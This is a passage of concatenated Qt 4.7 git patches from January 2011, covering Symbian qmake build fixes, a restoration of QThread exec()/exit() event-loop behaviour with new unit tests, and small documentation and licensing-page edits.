    +        default_resource_deployment.path = $$APP_RESOURCE_DIR
    +        default_reg_deployment.sources += $$regZDir/$${baseTarget}_reg.rsc
    +        default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
     
    -    !isEmpty(ICON) {
    -        !count(ICON, 1) {
    -            ICON = $$first(ICON)
    -            warning("Only first icon specified in ICON variable is used: $$ICON")
    -        }
    +        !isEmpty(ICON) {
    +            !count(ICON, 1) {
    +                ICON = $$first(ICON)
    +                warning("Only first icon specified in ICON variable is used: $$ICON")
    +            }
     
    -        # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
    -        !symbian-sbsv2 {
    -            # Absolute path required for shadow builds.
    -            # However, in older Symbian environments abld toolchain can't handle even moderately long
    -            # paths, so don't force absolute there.
    -            !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
    +            # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
    +            !symbian-sbsv2 {
    +                # Absolute path required for shadow builds.
    +                # However, in older Symbian environments abld toolchain can't handle even moderately long
    +                # paths, so don't force absolute there.
    +                !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
     
    -            #Makefile: requires paths with backslash
    -            ICON_backslashed = $$ICON
    +                #Makefile: requires paths with backslash
    +                ICON_backslashed = $$ICON
     
    -            symbian-abld {
    -                # ${ZDIR} is defined in Makefile
    -                mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
    -            } else {
    -                mifIconZDir = $$resourceZDir
    -            }
    +                symbian-abld {
    +                    # ${ZDIR} is defined in Makefile
    +                    mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
    +                } else {
    +                    mifIconZDir = $$resourceZDir
    +                }
     
    -            # Extra compiler rules for mifconv
    -            mifconv.target = $$mifIconZDir/$${baseTarget}.mif
    -            contains(QMAKE_HOST.os, "Windows") {
    -                ICON_backslashed = $$replace(ICON_backslashed, /, \\)
    -                mifconv.target = $$replace(mifconv.target, /, \\)
    +                # Extra compiler rules for mifconv
    +                mifconv.target = $$mifIconZDir/$${baseTarget}.mif
    +                contains(QMAKE_HOST.os, "Windows") {
    +                    ICON_backslashed = $$replace(ICON_backslashed, /, \\)
    +                    mifconv.target = $$replace(mifconv.target, /, \\)
    +                }
    +                # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
    +                # svg-t icons should always use /c32 depth
    +                mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
    +
    +                mifconv.depends = $$ICON
    +                PRE_TARGETDEPS += $$mifconv.target
    +                QMAKE_EXTRA_TARGETS += mifconv
    +                QMAKE_DISTCLEAN += $$mifconv.target
                 }
    -            # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
    -            # svg-t icons should always use /c32 depth
    -            mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
    +            # Rules to use generated MIF file from symbian resources
    +            RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    +            RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
     
    -            mifconv.depends = $$ICON
    -            PRE_TARGETDEPS += $$mifconv.target
    -            QMAKE_EXTRA_TARGETS += mifconv
    -            QMAKE_DISTCLEAN += $$mifconv.target
    +            default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.mif
             }
    -        # Rules to use generated MIF file from symbian resources
    -        RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    -        RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif
    -
    -        default_resource_deployment.sources += $$resourceZDir/$${baseTarget}.mif
         }
     }
     
    diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
    index 2270c2e..96d7725 100644
    --- a/qmake/generators/symbian/symbiancommon.cpp
    +++ b/qmake/generators/symbian/symbiancommon.cpp
    @@ -79,11 +79,7 @@ void SymbianCommonGenerator::init()
             fixedTarget = project->first("TARGET");
         fixedTarget = generator->unescapeFilePath(fixedTarget);
         fixedTarget = removePathSeparators(fixedTarget);
    -    if (project->first("MAKEFILE_GENERATOR") == "SYMBIAN_ABLD"
    -        || project->first("MAKEFILE_GENERATOR") == "SYMBIAN_SBSV2")
    -        removeEpocSpecialCharacters(fixedTarget);
    -    else
    -        removeSpecialCharacters(fixedTarget);
    +    removeSpecialCharacters(fixedTarget);
     
         // This should not be empty since the mkspecs are supposed to set it if missing.
         uid3 = project->first("TARGET.UID3").trimmed();
    @@ -131,18 +127,11 @@ bool SymbianCommonGenerator::containsStartWithItem(const QChar &c, const QString
     void SymbianCommonGenerator::removeSpecialCharacters(QString& str)
     {
         // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
    -    str.replace(QString("/"), QString("_"));
    -    str.replace(QString("\\"), QString("_"));
    -    str.replace(QString(" "), QString("_"));
    -}
    -
    -void SymbianCommonGenerator::removeEpocSpecialCharacters(QString& str)
    -{
    -    // When modifying this method check also symbianRemoveSpecialCharacters in symbian.conf
    -    str.replace(QString("-"), QString("_"));
    -    str.replace(QString(":"), QString("_"));
    -    str.replace(QString("."), QString("_"));
    -    removeSpecialCharacters(str);
    +    QString underscore = QLatin1String("_");
    +    str.replace(QLatin1String("/"), underscore);
    +    str.replace(QLatin1String("\\"), underscore);
    +    str.replace(QLatin1String(" "), underscore);
    +    str.replace(QLatin1String(":"), underscore);
     }
     
     QString romPath(const QString& path)
    diff --git a/qmake/generators/symbian/symbiancommon.h b/qmake/generators/symbian/symbiancommon.h
    index 0b5f53d..5182021 100644
    --- a/qmake/generators/symbian/symbiancommon.h
    +++ b/qmake/generators/symbian/symbiancommon.h
    @@ -82,7 +82,6 @@ protected:
     
         QString removePathSeparators(QString &file);
         void removeSpecialCharacters(QString& str);
    -    void removeEpocSpecialCharacters(QString& str);
         void generatePkgFile(const QString &iconFile,
                              bool epocBuild,
                              const SymbianLocalizationList &symbianLocalizationList);
    diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp
    index a2b567d..4f9f22d 100644
    --- a/qmake/generators/symbian/symmake.cpp
    +++ b/qmake/generators/symbian/symmake.cpp
    @@ -83,6 +83,8 @@
     #define VAR_CFLAGS "QMAKE_CFLAGS"
     #define VAR_LFLAGS "QMAKE_LFLAGS"
     
    +#define DEFINE_REPLACE_REGEXP "[^A-Z0-9_]"
    +
     QString SymbianMakefileGenerator::fixPathForMmp(const QString& origPath, const QDir& parentDir)
     {
         static QString epocRootStr;
    @@ -165,11 +167,15 @@ void SymbianMakefileGenerator::writeHeader(QTextStream &t)
         QString bldinfDefine = shortProFilename;
         bldinfDefine.append("_");
         bldinfDefine.append(generate_uid(project->projectFile()));
    +    bldinfDefine = bldinfDefine.toUpper();
    +
    +    // replace anything not alphanumeric with underscore
    +    QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
    +    bldinfDefine.replace(replacementMask, QLatin1String("_"));
     
         bldinfDefine.prepend("BLD_INF_");
    -    removeEpocSpecialCharacters(bldinfDefine);
     
    -    t << "#define " << bldinfDefine.toUpper() << endl << endl;
    +    t << "#define " << bldinfDefine << endl << endl;
     }
     
     bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
    @@ -902,13 +908,17 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
     
         const QStringList &subdirs = project->values("SUBDIRS");
         foreach(QString item, subdirs) {
    +        bool fromFile = false;
             QString fixedItem;
             if (!project->isEmpty(item + ".file")) {
                 fixedItem = project->first(item + ".file");
    +            fromFile = true;
             } else if (!project->isEmpty(item + ".subdir")) {
                 fixedItem = project->first(item + ".subdir");
    +            fromFile = false;
             } else {
                 fixedItem = item;
    +            fromFile = item.endsWith(Option::pro_ext);
             }
     
             QString condition;
    @@ -917,9 +927,15 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
     
             QFileInfo subdir(fileInfo(fixedItem));
             QString relativePath = directory.relativeFilePath(fixedItem);
    -        QString subdirFileName = subdir.completeBaseName();
    -        QString fullProName = subdir.absoluteFilePath();;
    +        QString fullProName = subdir.absoluteFilePath();
             QString bldinfFilename;
    +        QString subdirFileName;
    +
    +        if (fromFile) {
    +            subdirFileName = subdir.completeBaseName();
    +        } else {
    +            subdirFileName = subdir.fileName();
    +        }
     
             if (subdir.isDir()) {
                 // Subdir is a regular project
    @@ -941,7 +957,10 @@ void SymbianMakefileGenerator::writeBldInfContent(QTextStream &t, bool addDeploy
             QString uid = generate_uid(fullProName);
             QString bldinfDefine = QString("BLD_INF_") + subdirFileName + QString("_") + uid;
             bldinfDefine = bldinfDefine.toUpper();
    -        removeEpocSpecialCharacters(bldinfDefine);
    +
    +        // replace anything not alphanumeric with underscore
    +        QRegExp replacementMask(DEFINE_REPLACE_REGEXP);
    +        bldinfDefine.replace(replacementMask, QLatin1String("_"));
     
             if (!condition.isEmpty())
                 t << "#if defined(" << condition << ")" << endl;
    @@ -1124,4 +1143,4 @@ QString SymbianMakefileGenerator::generateLocFileTarget(QTextStream& t, const QS
         }
     
         return locFile;
    -}
    \ No newline at end of file
    +}
    -- 
    cgit v0.12
    
    
    From d37dce622e8bc14cd898a2e388d395492e6c51e0 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 14:55:33 +0100
    Subject: Doc: Updated the information about commercial editions of Qt.
    
    ---
     doc/src/legal/commercialeditions.qdoc | 39 ++++++++++++++++++++++++++++-------
     1 file changed, 31 insertions(+), 8 deletions(-)
    
    diff --git a/doc/src/legal/commercialeditions.qdoc b/doc/src/legal/commercialeditions.qdoc
    index 37aed3f..2537a13 100644
    --- a/doc/src/legal/commercialeditions.qdoc
    +++ b/doc/src/legal/commercialeditions.qdoc
    @@ -37,23 +37,46 @@
         If you want to develop Free or Open Source software for release using a recognized
         Open Source license, you can use the \l{Open Source Versions of Qt}.
     
    -    The table below summarizes the differences between the two commercial editions:
    +    The following table is a summary of the licenses under which Qt is made available.
    +
    +    \table
    +    \row \o \bold{Qt Commercial Developer License}
    +    \o The Qt Commercial Developer License is the appropriate version to use for the
    +    development of proprietary and/or commercial software where the developer does not
    +    wish to share or distribute any source code of the Qt libraries or otherwise comply
    +    with the terms of the \l{GNU Lesser General Public License (LGPL)}{GNU Lesser General
    +    Public License version 2.1} or \l{GNU General Public License (GPL)}{GNU GPL version
    +    3.0}.
    +    \row \o \bold{Qt GNU LGPL v. 2.1}
    +    \o This version of Qt is appropriate for the development of Qt applications
    +    (proprietary or open source) provided you can comply with the terms and conditions
    +    contained in the \l{GNU Lesser General Public License (LGPL)}{GNU LGPL version 2.1}.
    +    \row \o \bold{Qt GNU GPL v. 3.0}
    +    \o This version of Qt is appropriate for the development of Qt applications where
    +    you wish to use such applications in combination with software subject to the terms
    +    of the GNU General Public License version 3.0 or where you are otherwise willing to
    +    comply with the terms of the
    +    \l{GNU General Public License (GPL)}{GNU General Public License version 3.0}.
    +    \endtable
     
         Please see the \l{Supported Platforms}{list of supported
         platforms} for up-to-date information about the various platforms
         and compilers that Qt supports.
     
    -    On the Qt web site, you can find a
    +    On the Qt Web site, you can find a
         \l{Qt Licensing Overview} and information on \l{Qt License Pricing}
         for commercial editions of Qt and other Qt-related products.
     
    -    To purchase, please visit the \l{How to Order}{online order form}.
    -
    -    For further information and assistance, please contact Qt sales.
    +    \section1 Purchasing and Sales Information
     
    -    Web: http://qt.nokia.com/contact.
    +    To purchase, please visit the \l{How to Order}{online order form}.
     
    -    Phone, U.S. office (for North America): \bold{1-650-813-1676}.
    +    For further information and assistance, please contact the Qt sales team
    +    via one of the following channels:
     
    -    Phone, Norway office (for the rest of the world): \bold{+47 21 60 48 00}.
    +    \table
    +    \row \o Web: \o \bold{http://qt.nokia.com/contact}
    +    \row \o Phone, U.S. office (for sales in North America): \o \bold{1-408-220-9020}
    +    \row \o Phone, Norway office (for sales in the rest of the world): \o \bold{+47 21 60 48 00}
    +    \endtable
     */
    -- 
    cgit v0.12
    
    
    From 2e72a8b19ea6c674fb4777860dac50faa5d387e6 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Thu, 27 Jan 2011 11:49:49 +0100
    Subject: Restore Qt 4.6 behaviour: exec() always enters the event loop.
    
    In Qt 4.6 as well as 4.7's QCoreApplication and QEventLoop, calling
    exec() always enters the event loop, even if you had tried to
    quit()/exit() it before entering, with one exception (noted in the
    unit tests; this difference has been in Qt since at least Qt 4.2).
    
    Add unit tests to ensure all of the three classes have the same
    behaviour.
    
    Decide if we want to match the behaviours in Qt 4.8.
    
    Reviewed-by: Bradley T. Hughes
    ---
     src/corelib/thread/qthread.cpp                     |   5 +-
     .../auto/qcoreapplication/tst_qcoreapplication.cpp |  45 +++++
     tests/auto/qeventloop/tst_qeventloop.cpp           |  41 ++++-
     tests/auto/qthread/tst_qthread.cpp                 | 191 +++++++++++++++------
     4 files changed, 221 insertions(+), 61 deletions(-)
    
    diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp
    index f368192..f4bfa5d 100644
    --- a/src/corelib/thread/qthread.cpp
    +++ b/src/corelib/thread/qthread.cpp
    @@ -482,10 +482,7 @@ int QThread::exec()
         Q_D(QThread);
         QMutexLocker locker(&d->mutex);
         d->data->quitNow = false;
    -    if (d->exited) {
    -        d->exited = false;
    -        return d->returnCode;
    -    }
    +    d->exited = false;
         locker.unlock();
     
         QEventLoop eventLoop;
    diff --git a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    index 95055d1..bc69461 100644
    --- a/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    +++ b/tests/auto/qcoreapplication/tst_qcoreapplication.cpp
    @@ -59,6 +59,9 @@ private slots:
         void applicationPid();
         void globalPostedEventsCount();
         void processEventsAlwaysSendsPostedEvents();
    +    void reexec();
    +    void execAfterExit();
    +    void eventLoopExecAfterExit();
     };
     
     class EventSpy : public QObject
    @@ -524,5 +527,47 @@ void tst_QCoreApplication::processEventsAlwaysSendsPostedEvents()
         } while (t.elapsed() < 3000);
     }
     
    +void tst_QCoreApplication::reexec()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    // exec once
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +
    +    // and again
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +}
    +
    +void tst_QCoreApplication::execAfterExit()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    app.exit(1);
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +}
    +
    +void tst_QCoreApplication::eventLoopExecAfterExit()
    +{
    +    int argc = 1;
    +    char *argv[] = { "tst_qcoreapplication" };
    +    QCoreApplication app(argc, argv);
    +
    +    // exec once and exit
    +    QMetaObject::invokeMethod(&app, "quit", Qt::QueuedConnection);
    +    QCOMPARE(app.exec(), 0);
    +
    +    // and again, but this time using a QEventLoop
    +    QEventLoop loop;
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     QTEST_APPLESS_MAIN(tst_QCoreApplication)
     #include "tst_qcoreapplication.moc"
    diff --git a/tests/auto/qeventloop/tst_qeventloop.cpp b/tests/auto/qeventloop/tst_qeventloop.cpp
    index 7af722f..6860f19 100644
    --- a/tests/auto/qeventloop/tst_qeventloop.cpp
    +++ b/tests/auto/qeventloop/tst_qeventloop.cpp
    @@ -112,6 +112,10 @@ signals:
     public:
         QMutex mutex;
         QWaitCondition cond;
    +    volatile int result1;
    +    volatile int result2;
    +    MultipleExecThread() : result1(0xdead), result2(0xbeef) {}
    +
         void run()
         {
             QMutexLocker locker(&mutex);
    @@ -124,13 +128,13 @@ public:
             connect(&timer, SIGNAL(timeout()), SLOT(quit()), Qt::DirectConnection);
             timer.setInterval(1000);
             timer.start();
    -        (void) exec();
    +        result1 = exec();
     
             // this should return immediately, since exit() has been called
             cond.wakeOne();
             cond.wait(&mutex);
             QEventLoop eventLoop;
    -        (void) eventLoop.exec();
    +        result2 = eventLoop.exec();
         }
     };
     
    @@ -197,7 +201,9 @@ private slots:
         void symbianNestedActiveSchedulerLoop();
         void processEvents();
         void exec();
    +    void reexec();
         void exit();
    +    void execAfterExit();
         void wakeUp();
         void quit();
         void processEventsExcludeSocket();
    @@ -398,7 +404,9 @@ void tst_QEventLoop::exec()
         }
     
         {
    -        // calling exec() after exit()/quit() should return immediately
    +        // calling QEventLoop::exec() after a thread loop has exit()ed should return immediately
    +        // Note: this behaviour differs from QCoreApplication and QEventLoop
    +        // see tst_QCoreApplication::eventLoopExecAfterExit, tst_QEventLoop::reexec
             MultipleExecThread thread;
     
             // start thread and wait for checkpoint
    @@ -411,6 +419,8 @@ void tst_QEventLoop::exec()
             thread.cond.wakeOne();
             thread.cond.wait(&thread.mutex);
             QVERIFY(spy.count() > 0);
    +        int v = thread.result1;
    +        QCOMPARE(v, 0);
     
             // exec should return immediately
             spy.clear();
    @@ -418,6 +428,8 @@ void tst_QEventLoop::exec()
             thread.mutex.unlock();
             thread.wait();
             QCOMPARE(spy.count(), 0);
    +        v = thread.result2;
    +        QCOMPARE(v, -1);
         }
     
         {
    @@ -462,9 +474,32 @@ void tst_QEventLoop::exec()
     #endif
     }
     
    +void tst_QEventLoop::reexec()
    +{
    +    QEventLoop loop;
    +
    +    // exec once
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +
    +    // and again
    +    QMetaObject::invokeMethod(&loop, "quit", Qt::QueuedConnection);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     void tst_QEventLoop::exit()
     { DEPENDS_ON(exec()); }
     
    +void tst_QEventLoop::execAfterExit()
    +{
    +    QEventLoop loop;
    +    EventLoopExiter obj(&loop);
    +
    +    QMetaObject::invokeMethod(&obj, "exit", Qt::QueuedConnection);
    +    loop.exit(1);
    +    QCOMPARE(loop.exec(), 0);
    +}
    +
     void tst_QEventLoop::wakeUp()
     {
         EventLoopThread thread;
    diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp
    index e6bf9ce..c7036e4 100644
    --- a/tests/auto/qthread/tst_qthread.cpp
    +++ b/tests/auto/qthread/tst_qthread.cpp
    @@ -86,6 +86,7 @@ private slots:
         void start();
         void terminate();
         void quit();
    +    void execAfterQuit();
         void wait();
         void started();
         void finished();
    @@ -265,6 +266,34 @@ public:
         }
     };
     
    +class ExecAfterQuitThreadHelper: public QObject
    +{
    +    Q_OBJECT
    +    QThread *thr;
    +public:
    +    ExecAfterQuitThreadHelper(QThread *thr) : thr(thr) {}
    +public slots:
    +    void doIt() { thr->exit(0); }
    +};
    +
    +class ExecAfterQuitThread: public QThread
    +{
    +public:
    +    int returnValue;
    +    void run()
    +    {
    +        ExecAfterQuitThreadHelper obj(this);
    +
    +        QMetaObject::invokeMethod(&obj, "doIt", Qt::QueuedConnection);
    +        exit(1);
    +
    +        // returnValue will be either 0 or 1, depending on which of the two
    +        // above take effect. The correct value is 0, since exit(1) before
    +        // exec() should have no effect
    +        returnValue = exec();
    +    }
    +};
    +
     tst_QThread::tst_QThread()
     
     {
    @@ -424,34 +453,52 @@ void tst_QThread::stackSize()
     
     void tst_QThread::exit()
     {
    -    Exit_Thread thread;
    -    thread.object = new Exit_Object;
    -    thread.object->moveToThread(&thread);
    -    thread.code = 42;
    -    thread.result = 0;
    -    QVERIFY(!thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QMutexLocker locker(&thread.mutex);
    -    thread.start();
    -    QVERIFY(thread.isRunning());
    -    QVERIFY(!thread.isFinished());
    -    thread.cond.wait(locker.mutex());
    -    QVERIFY(thread.wait(five_minutes));
    -    QVERIFY(thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QCOMPARE(thread.result, thread.code);
    -    delete thread.object;
    +    {
    +        Exit_Thread thread;
    +        thread.object = new Exit_Object;
    +        thread.object->moveToThread(&thread);
    +        thread.code = 42;
    +        thread.result = 0;
    +        QVERIFY(!thread.isFinished());
    +        QVERIFY(!thread.isRunning());
     
    -    Exit_Thread thread2;
    -    thread2.object = 0;
    -    thread2.code = 53;
    -    thread2.result = 0;
    -    QMutexLocker locker2(&thread2.mutex);
    -    thread2.start();
    -    thread2.exit(thread2.code);
    -    thread2.cond.wait(locker2.mutex());
    -    QVERIFY(thread2.wait(five_minutes));
    -    QCOMPARE(thread2.result, thread2.code);
    +        QMutexLocker locker(&thread.mutex);
    +        thread.start();
    +        QVERIFY(thread.isRunning());
    +        QVERIFY(!thread.isFinished());
    +        // but the thread is not running the event loop yet (the mutex is locked)
    +
    +        // start the event loop
    +        thread.cond.wait(locker.mutex());
    +
    +        // the Exit_Object above will cause the thread to exit
    +        QVERIFY(thread.wait(five_minutes));
    +        QVERIFY(thread.isFinished());
    +        QVERIFY(!thread.isRunning());
    +        QCOMPARE(thread.result, thread.code);
    +        delete thread.object;
    +    }
    +
    +    {
    +        Exit_Thread thread2;
    +        thread2.object = 0;
    +        thread2.code = 53;
    +        thread2.result = 0;
    +        QMutexLocker locker2(&thread2.mutex);
    +        thread2.start();
    +
    +        // the mutex is locked, so the thread has *not* started running the event loop yet
    +        // this will do nothing:
    +        thread2.exit(thread2.code);
    +
    +        // the thread will now start running
    +        thread2.cond.wait(locker2.mutex());
    +
    +        // this will cause it to exit now
    +        thread2.exit(++thread2.code);
    +        QVERIFY(thread2.wait(five_minutes));
    +        QCOMPARE(thread2.result, thread2.code);
    +    }
     }
     
     void tst_QThread::start()
    @@ -498,32 +545,59 @@ void tst_QThread::terminate()
     
     void tst_QThread::quit()
     {
    -    Quit_Thread thread;
    -    thread.object = new Quit_Object;
    -    thread.object->moveToThread(&thread);
    -    thread.result = -1;
    -    QVERIFY(!thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QMutexLocker locker(&thread.mutex);
    -    thread.start();
    -    QVERIFY(thread.isRunning());
    -    QVERIFY(!thread.isFinished());
    -    thread.cond.wait(locker.mutex());
    -    QVERIFY(thread.wait(five_minutes));
    -    QVERIFY(thread.isFinished());
    -    QVERIFY(!thread.isRunning());
    -    QCOMPARE(thread.result, 0);
    -    delete thread.object;
    +    // very similar to exit() above
    +    {
    +        Quit_Thread thread;
    +        thread.object = new Quit_Object;
    +        thread.object->moveToThread(&thread);
    +        thread.result = -1;
    +        QVERIFY(!thread.isFinished());
    +        QVERIFY(!thread.isRunning());
     
    -    Quit_Thread thread2;
    -    thread2.object = 0;
    -    thread2.result = -1;
    -    QMutexLocker locker2(&thread2.mutex);
    -    thread2.start();
    -    thread2.quit();
    -    thread2.cond.wait(locker2.mutex());
    -    QVERIFY(thread2.wait(five_minutes));
    -    QCOMPARE(thread2.result, 0);
    +        // start the thread, but keep the event loop from starting
    +        // (while the mutex is locked)
    +        QMutexLocker locker(&thread.mutex);
    +        thread.start();
    +        QVERIFY(thread.isRunning());
    +        QVERIFY(!thread.isFinished());
    +
    +        // unlock the mutex and let the event loop run
    +        // the Quit_Object above will cause the thread to quit
    +        thread.cond.wait(locker.mutex());
    +        QVERIFY(thread.wait(five_minutes));
    +        QVERIFY(thread.isFinished());
    +        QVERIFY(!thread.isRunning());
    +        QCOMPARE(thread.result, 0);
    +        delete thread.object;
    +    }
    +
    +    {
    +        Quit_Thread thread2;
    +        thread2.object = 0;
    +        thread2.result = -1;
    +
    +        // start the thread, but keep the event loop from starting
    +        // (while the mutex is locked)
    +        QMutexLocker locker2(&thread2.mutex);
    +        thread2.start();
    +        thread2.quit(); // does nothing, the event loop is not running!
    +
    +        // unlock the mutex and let the event loop run
    +        thread2.cond.wait(locker2.mutex());
    +
    +        // there's no Quit_Object so it won't quit on its own
    +        thread2.quit();
    +        QVERIFY(thread2.wait(five_minutes));
    +        QCOMPARE(thread2.result, 0);
    +    }
    +}
    +
    +void tst_QThread::execAfterQuit()
    +{
    +    ExecAfterQuitThread thread;
    +    thread.start();
    +    QVERIFY(thread.wait());
    +    QCOMPARE(thread.returnValue, 0);
     }
     
     void tst_QThread::wait()
    @@ -994,8 +1068,17 @@ void tst_QThread::QTBUG15378_exitAndExec()
         Thread thread;
         thread.value = 0;
         thread.start();
    -    thread.exit(556);
    -    thread.sem1.release(); //should exit the first loop
    +    thread.exit(42); // will do nothing, this value should not appear
    +    thread.sem1.release(); //should enter the first loop
    +
    +    Exit_Object *exit_object = new Exit_Object;
    +    exit_object->code = 556;
    +    exit_object->thread = &thread;
    +    QMetaObject::invokeMethod(exit_object, "slot", Qt::QueuedConnection);
    +    exit_object->deleteLater();
    +    exit_object->moveToThread(&thread); // should exit the first loop
    +    exit_object = 0;
    +
         thread.sem2.acquire();
         int v = thread.value;
         QCOMPARE(v, 556);
    -- 
    cgit v0.12
    
    
    From f42ac3e793907e15357b73360adf9dbdebfc22c0 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 15:24:13 +0100
    Subject: Doc: Fixed a broken link.
    
    ---
     doc/src/modules.qdoc | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
    index 60dd028..38a7a8b 100644
    --- a/doc/src/modules.qdoc
    +++ b/doc/src/modules.qdoc
    @@ -30,7 +30,7 @@
         \title All Modules
         \startpage index.html Qt Reference Documentation
         \nextpage QtCore
    -    
    +
         \ingroup classlists
     
         \brief Qt 4 comprises several modules. Each module is a separate
    @@ -40,7 +40,7 @@
         \header \o {2,1} \bold{Modules for general software development}
         \row \o \l{QtCore} \o Core non-graphical classes used by other modules
         \row \o \l{QtGui} \o Graphical user interface (GUI) components
    -    \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality
    +    \row \o \l{QtMultimedia Module}{QtMultimedia} \o Classes for low-level multimedia functionality
         \row \o \l{QtNetwork} \o Classes for network programming
         \row \o \l{QtOpenGL} \o OpenGL support classes
         \row \o \l{QtOpenVG} \o OpenVG support classes
    -- 
    cgit v0.12
    
    
    From 31cd1c76b30bd5d71830fcadcebf255f08eb90c2 Mon Sep 17 00:00:00 2001
    From: Shane Kearns 
    Date: Thu, 27 Jan 2011 14:57:59 +0000
    Subject: add qscopedvaluerollback autotest to corelib.pro
    
    ---
     tests/auto/corelib.pro | 1 +
     1 file changed, 1 insertion(+)
    
    diff --git a/tests/auto/corelib.pro b/tests/auto/corelib.pro
    index 3451b53..6810f76 100644
    --- a/tests/auto/corelib.pro
    +++ b/tests/auto/corelib.pro
    @@ -59,6 +59,7 @@ SUBDIRS=\
        qresourceengine \
        qringbuffer \
        qscopedpointer \
    +   qscopedvaluerollback \
        qsemaphore \
        qsequentialanimationgroup \
        qset \
    -- 
    cgit v0.12
    
    
    From 769c65fa7e7ea3ef0989b126aa0a329f5c6679d7 Mon Sep 17 00:00:00 2001
    From: Shane Kearns 
    Date: Thu, 27 Jan 2011 15:02:08 +0000
    Subject: Fix GCC compiler warning
    
    ---
     src/corelib/tools/qscopedvaluerollback.h | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/corelib/tools/qscopedvaluerollback.h b/src/corelib/tools/qscopedvaluerollback.h
    index d344ed8..e874428 100644
    --- a/src/corelib/tools/qscopedvaluerollback.h
    +++ b/src/corelib/tools/qscopedvaluerollback.h
    @@ -72,7 +72,7 @@ private:
         T& varRef;
         T oldValue;
     
    -    Q_DISABLE_COPY(QScopedValueRollback);
    +    Q_DISABLE_COPY(QScopedValueRollback)
     };
     
     QT_END_NAMESPACE
    -- 
    cgit v0.12
    
    
    From 339e3804abf1dbeac9fe89699c2dc4ebc94d5cdd Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:31:32 +0100
    Subject: Doc: Fixed confusing wording of a sentence.
    
    Task-number: QTBUG-16875
    Reviewed-by: Takumi ASAKI
    ---
     src/gui/itemviews/qabstractitemview.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp
    index 37507dd..081a6d9 100644
    --- a/src/gui/itemviews/qabstractitemview.cpp
    +++ b/src/gui/itemviews/qabstractitemview.cpp
    @@ -622,9 +622,9 @@ QAbstractItemView::~QAbstractItemView()
         deleteLater() functions to explicitly delete them.
     
         The view \e{does not} take ownership of the model unless it is the model's
    -    parent object because the view may be shared between many different views.
    +    parent object because the model may be shared between many different views.
     
    -  \sa selectionModel(), setSelectionModel()
    +    \sa selectionModel(), setSelectionModel()
     */
     void QAbstractItemView::setModel(QAbstractItemModel *model)
     {
    -- 
    cgit v0.12
    
    
    From 9d94a365582cfcc31cc10587413932a8f957e5ff Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:38:20 +0100
    Subject: Doc: Unindented a code snippet.
    
    ---
     doc/src/declarative/modules.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
    index 1dca28c..3bb69da 100644
    --- a/doc/src/declarative/modules.qdoc
    +++ b/doc/src/declarative/modules.qdoc
    @@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number.
